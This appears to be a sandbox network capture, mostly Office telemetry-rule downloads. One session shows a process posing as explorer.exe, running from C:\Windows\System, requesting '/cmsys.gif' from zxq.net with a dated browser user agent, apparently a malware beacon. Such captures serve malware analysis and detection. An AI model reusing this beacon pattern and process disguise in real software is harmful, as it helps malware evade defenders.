2024-10-10 08:13:51 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	64705	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:51 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:51 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:51 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: ecaa5255-c01e-008d-52bf-1a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081351Z-1597f696844rxj9pg4nkdptn1w00000000ng00000000cc4h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:51 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	64703	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:51 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:51 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:51 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: daaa05a5-c01e-000b-4336-1ae255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081351Z-1597f696844jq2rssgzrsupds400000001w0000000008t7a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:51 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	64704	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:51 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:51 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:51 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 819d4321-f01e-0020-6e8c-15956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081351Z-r154656d9bcpkd87yvea8r1dfg0000000kb00000000053ba x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:51 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	64709	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:52 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:52 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:52 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: c27d0d21-301e-0051-279e-1538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081352Z-r154656d9bc6m642udcg3mq41n0000000ezg000000004wpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	64707	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:52 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:52 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:52 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 0e537b27-201e-003f-3804-1a6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081352Z-1597f696844hpm8qn8665b0upn00000000qg000000006vzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:52 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	64711	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:52 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:52 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:52 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 842b74fa-501e-008c-2f04-1acd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081352Z-1597f696844bmdq5zn58gkna6s00000001y0000000003aa2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:52 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	64708	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:52 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:52 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: b7a8ce39-d01e-0014-539c-15ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081352Z-r154656d9bcpnqc46yk454phh80000000800000000006y18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	64710	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:52 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:52 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:52 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: c08f385d-301e-0033-1fca-1afa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081352Z-r154656d9bcgk58qzsfr5pfzg40000000wa000000000b6h1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:52 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	64712	51.81.194.202	443	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:52 UTC	193	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: zxq.net
2024-10-10 08:13:53 UTC	614	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://zxq.net/wp-json/>; rel="https://api.w.org/" x-redirect-by: WordPress location: https://zxq.net/what-happened-to-the-old-zxq-website/ x-litespeed-cache: hit content-length: 0 date: Thu, 10 Oct 2024 08:13:53 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	64714	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:53 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:53 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:53 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 62bb5aab-101e-0034-27d7-1a96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081353Z-r154656d9bcc2bdtn1pd2qfd4c0000000wag000000004d10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:53 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	64713	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:53 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:53 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:53 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: a31aaca5-901e-0083-7a04-18bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081353Z-r154656d9bc9b22p5yc1zg6euw00000000s0000000002gfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:53 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	64716	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:53 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
